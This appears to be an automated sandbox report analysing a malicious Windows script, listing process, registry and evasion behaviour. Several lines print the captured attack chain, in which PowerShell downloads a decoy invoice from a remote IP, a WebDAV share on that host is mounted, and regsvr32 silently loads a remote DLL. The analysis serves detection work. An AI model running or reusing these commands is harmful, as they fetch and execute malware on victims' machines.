Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2996.js.csv");ITextStream.WriteLine(" entry:7315 f:lrduro");ITextStream.WriteLine(" exec:2 f:lrduro");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49728

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4554			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5165			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8172	Thread sleep count: 4554 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8172	Thread sleep count: 5165 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7336	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7444	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8152	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6956	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7436	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8056	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000002.1347433997.0000027D053C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347433997.0000027D05428000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2566251494.00000163E665A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2561164883.00000163E102B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1347433997.0000027D05428000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

